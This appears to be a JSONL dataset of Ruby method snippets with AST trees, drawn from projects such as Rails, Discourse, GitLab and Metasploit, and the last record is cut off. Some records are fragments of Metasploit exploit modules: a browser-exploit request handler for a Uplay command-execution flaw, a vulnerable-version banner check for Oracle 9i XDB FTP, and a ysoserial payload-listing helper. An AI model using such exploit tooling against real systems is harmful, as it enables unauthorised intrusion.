+{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/messages.rb","start_line":49,"raw_source":"def msg_version version, lib = \"Rails\"\n Version.new version, lib\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"msg_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"optarg\",\"children\":[\"lib\",{\"type\":\"str\",\"children\":[\"Rails\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"lib\"]}]}]}","id":"b84a3959-1137-4ce7-a45a-393130441c3f"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":898,"raw_source":"def disabled_by\n find_disable_action_log&.acting_user\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_disable_action_log\"]},\"acting_user\"]}]}","id":"944a2205-eb5a-41d5-996c-2d46e993af8f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/geometric_test.rb","start_line":91,"raw_source":"def test_hash_assignment\n p = PostgresqlPoint.new(x: { x: 1, y: 2 }, y: { \"x\" => 3, \"y\" => 4 })\n\n assert_equal ActiveRecord::Point.new(1, 2), p.x\n assert_equal ActiveRecord::Point.new(3, 4), p.y\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_assignment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"y\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Point\"]},\"new\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Point\"]},\"new\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"y\"]}]}]}]}","id":"7ac6dc5f-e82d-42b8-86f4-0b1b95a146aa"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":367,"raw_source":"def test_redirect\n with_test_route_set do\n get \"/redirect\"\n assert_equal 302, status\n assert_equal \"Found\", status_message\n assert_response 302\n assert_response :redirect\n assert_response :found\n assert_equal \"\", response.body\n assert_kind_of Nokogiri::HTML::Document, html_document\n assert_equal 1, request_count\n\n follow_redirect!\n assert_equal \"http://www.example.com/redirect\", request.referer\n assert_response :success\n assert_equal \"/get\", path\n\n get \"/moved\"\n assert_response :redirect\n assert_redirected_to \"/method\"\n end\n end","complexity_score":35.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[302]},{\"type\":\"send\",\"children\":[null,\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Found\"]},{\"type\":\"send\",\"children\":[null,\"status_message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"found\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"Document\"]},{\"type\":\"send\",\"children\":[null,\"html_document\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"request_count\"]}]},{\"type\":\"send\",\"children\":[null,\"follow_redirect!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.example.com/redirect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"referer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/get\"]},{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/moved\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"/method\"]}]}]}]}]}","id":"68868316-b1bd-4f6c-8761-68c0826e9680"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/cached_counting.rb","start_line":61,"raw_source":"def self.thread_loop\n iterations = 0\n while true\n break if !enabled?\n\n sleep SLEEP_SECONDS\n flush_in_memory\n if (iterations >= FLUSH_DB_ITERATIONS) || @flush\n iterations = 0\n flush_to_db\n @flush = false\n end\n iterations += 1\n end\n rescue => ex\n if Redis::ReadOnlyError === ex\n # do not warn for Redis readonly mode\n elsif PG::ReadOnlySqlTransaction === ex\n # do not warn for PG readonly mode\n else\n Discourse.warn_exception(ex, message: \"Unexpected error while processing cached counts\")\n end\n end","complexity_score":29.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"thread_loop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},\"!\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"const\",\"children\":[null,\"SLEEP_SECONDS\"]}]},{\"type\":\"send\",\"children\":[null,\"flush_in_memory\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterations\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"FLUSH_DB_ITERATIONS\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@flush\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"flush_to_db\"]},{\"type\":\"ivasgn\",\"children\":[\"@flush\",{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"ReadOnlyError\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"ReadOnlySqlTransaction\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"warn_exception\",{\"type\":\"lvar\",\"children\":[\"ex\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Unexpected error while processing cached counts\"]}]}]}]}]}]}]},null]}]}","id":"f7710fac-a9f7-4e44-befc-33fddf683c12"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb","start_line":76,"raw_source":"def on_request_uri(cli, request)\n case request.method\n when 'OPTIONS'\n process_options(cli, request)\n when 'PROPFIND'\n process_propfind(cli, request)\n when 'GET'\n if request.uri_parts['Resource'].include? @uplay_uri\n if is_exploitable?(request)\n prompt_uplay(cli, request)\n else\n print_error(\"Not the target we want, will not engage.\")\n resp = create_response(404, \"Not Found\")\n resp.body = \"\"\n resp['Content-Type'] = 'text/html'\n cli.send_response(resp)\n end\n else\n process_get(cli, request)\n end\n else\n vprint_status(\"#{request.method} => 404 (#{request.uri})\")\n resp = create_response(404, \"Not Found\")\n resp.body = \"\"\n resp['Content-Type'] = 'text/html'\n cli.send_response(resp)\n end\n end","complexity_score":38.18,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND\"]},{\"type\":\"send\",\"children\":[null,\"process_propfind\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri_parts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Resource\"]}]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@uplay_uri\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_exploitable?\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_uplay\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not the target we want, will not engage.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[404]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_get\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]}]},{\"type\":\"str\",\"children\":[\" => 404 (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[404]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}]}","id":"2b7c6a8b-5021-44f7-a459-4d713eb52cb2"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_width.rb","start_line":314,"raw_source":"def other_offense_in_same_range?(node)\n expr = node.source_range\n @offense_ranges ||= []\n\n return true if @offense_ranges.any? { |r| within?(expr, r) }\n\n @offense_ranges << expr\n false\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"other_offense_in_same_range?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@offense_ranges\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense_ranges\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"within?\",{\"type\":\"lvar\",\"children\":[\"expr\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense_ranges\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"expr\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"cf329d70-8d10-4838-9969-1cf11c737b9f"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/configuration/embedding_defs_validator.rb","start_line":10,"raw_source":"def valid_value?(val)\n if val.blank?\n if SiteSetting.ai_embeddings_enabled\n @disable_embeddings = true\n return false\n else\n return true\n end\n end\n\n return true if Rails.env.test? && @opts[:run_check_in_tests].blank?\n\n embedding_def = EmbeddingDefinition.find_by(id: val)\n if embedding_def.present?\n DiscourseAi::Embeddings::Vector.new(embedding_def).vector_from(\"this is a test\")\n end\n\n true\n rescue Net::HTTPBadResponse => e\n false\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"blank?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_embeddings_enabled\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@disable_embeddings\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_check_in_tests\"]}]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"embedding_def\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmbeddingDefinition\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedding_def\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Embeddings\"]},\"Vector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"embedding_def\"]}]},\"vector_from\",{\"type\":\"str\",\"children\":[\"this is a test\"]}]},null]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPBadResponse\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"aef657d1-28df-44bb-b081-481e7b22acad"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb","start_line":65,"raw_source":"def check\n connect\n disconnect\n if (banner =~ /9\\.2\\.0\\.1\\.0/)\n return Exploit::CheckCode::Appears\n end\n\n return Exploit::CheckCode::Safe\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"9\\\\.2\\\\.0\\\\.1\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"2a5fe98b-5336-45a8-bb83-fbdf0ed8649a"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/upload_security.rb","start_line":75,"raw_source":"def should_be_secure_with_reason\n insecure_context_checks.each { |check, reason| return false, reason if perform_check(check) }\n secure_context_checks.each do |check, reason|\n return perform_check(check), reason if priority_check?(check)\n return true, reason if perform_check(check)\n end\n\n [false, \"no checks satisfied\"]\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"should_be_secure_with_reason\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"insecure_context_checks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_check\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secure_context_checks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"priority_check?\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_check\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_check\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},null]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"no checks satisfied\"]}]}]}]}","id":"fe345717-e718-413c-9d48-2cb79c770daf"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_detailed_user_serializer.rb","start_line":68,"raw_source":"def can_revoke_moderation\n scope.can_revoke_moderation?(object)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_revoke_moderation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_revoke_moderation?\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"818182b9-73a6-4b9b-87b2-33f9194731db"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/personal_access_token.rb","start_line":26,"raw_source":"def revoke!(current_user)\n raise ::Authn::AgnosticTokenIdentifier::NotFoundError, 'Not Found' if revocable.blank?\n\n @current_user = current_user\n service = service_by_type\n\n service.execute\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"AgnosticTokenIdentifier\"]},\"NotFoundError\"]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[null,\"service_by_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"execute\"]}]}]}","id":"8666ad45-6845-4383-9c1e-5ea1dc6137f8"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/webhooks/telegram_events_job.rb","start_line":4,"raw_source":"def perform(params = {})\n return unless params[:bot_token]\n\n channel = Channel::Telegram.find_by(bot_token: params[:bot_token])\n\n if channel_is_inactive?(channel)\n log_inactive_channel(channel, params)\n return\n end\n\n process_event_params(channel, params)\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bot_token\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"Telegram\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bot_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bot_token\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_is_inactive?\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_inactive_channel\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"process_event_params\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"72cc0f9a-cd91-42e0-bf21-ff686abef764"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/third_party/cleanup_tags_service.rb","start_line":38,"raw_source":"def filter_keep_n(tags)\n tags, tags_to_keep = partition_by_keep_n(tags)\n\n cache_tags(tags_to_keep)\n\n tags\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_keep_n\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\"]},{\"type\":\"lvasgn\",\"children\":[\"tags_to_keep\"]}]},{\"type\":\"send\",\"children\":[null,\"partition_by_keep_n\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cache_tags\",{\"type\":\"lvar\",\"children\":[\"tags_to_keep\"]}]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}","id":"90253392-9684-4d37-9277-86a13e0c8bf9"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb","start_line":123,"raw_source":"def get_payload_list\n # Call ysoserial and return the list of payloads that can be generated\n payloads = `java -jar ysoserial-original.jar 2>&1`\n payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')\n payloads = payloads.split(\"\\n\")\n\n # Make sure the headers are intact, then skip over them\n abort unless payloads[0] == 'Y SO SERIAL?'\n payloads = payloads.drop_while { |line| !line.strip.start_with?('Payload') }\n payloads = payloads.drop(2)\n\n payload_list = []\n payloads.each do |line|\n # Skip the header rows\n next unless line.start_with? ' '\n\n payload_list.push(line.match(/^ +([^ ]+)/)[1])\n end\n\n payload_list - ['JRMPClient', 'JRMPListener']\nend","complexity_score":28.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_payload_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"java -jar ysoserial-original.jar 